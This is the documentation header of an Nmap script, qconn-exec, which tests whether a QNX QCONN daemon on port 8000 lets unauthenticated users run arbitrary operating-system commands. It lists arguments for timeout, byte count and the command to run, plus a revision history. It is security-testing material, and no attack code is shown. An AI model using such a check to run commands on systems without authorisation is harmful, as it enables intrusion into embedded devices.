Attempts to identify whether a listening QNX QCONN daemon allows
unauthenticated users to execute arbitrary operating system commands.

QNX is a commercial Unix-like real-time operating system, aimed primarily at
the embedded systems market. The QCONN daemon is a service provider that
provides support, such as profiling system information, to remote IDE
components. The QCONN daemon runs on port 8000 by default.

-- @args qconn-exec.timeout
--                 Set the timeout in seconds. The default value is 30.
--
-- @args qconn-exec.bytes
--                 Set the number of bytes to retrieve. The default value is 1024.
--
-- @args qconn-exec.cmd
--                 Set the operating system command to execute. The default value is "uname -a".

-- 2012-10-07 - Created - created by Brendan Coles - itsecuritysolutions.org
-- 2013-07-28 - Revised - allow users to specify arbitrary commands
--                      - now uses the vuln library for reporting
